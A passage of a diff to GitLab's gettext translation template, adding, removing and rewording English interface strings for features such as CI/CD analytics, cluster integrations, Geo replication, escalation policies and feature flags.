msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15467,6 +15685,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15785,9 +16006,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15824,22 +16042,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -15911,7 +16138,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -15926,6 +16153,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -15938,6 +16168,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16053,9 +16295,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16084,9 +16323,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16171,9 +16407,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16183,9 +16434,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16339,6 +16587,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16582,6 +16833,9 @@ msgstr ""
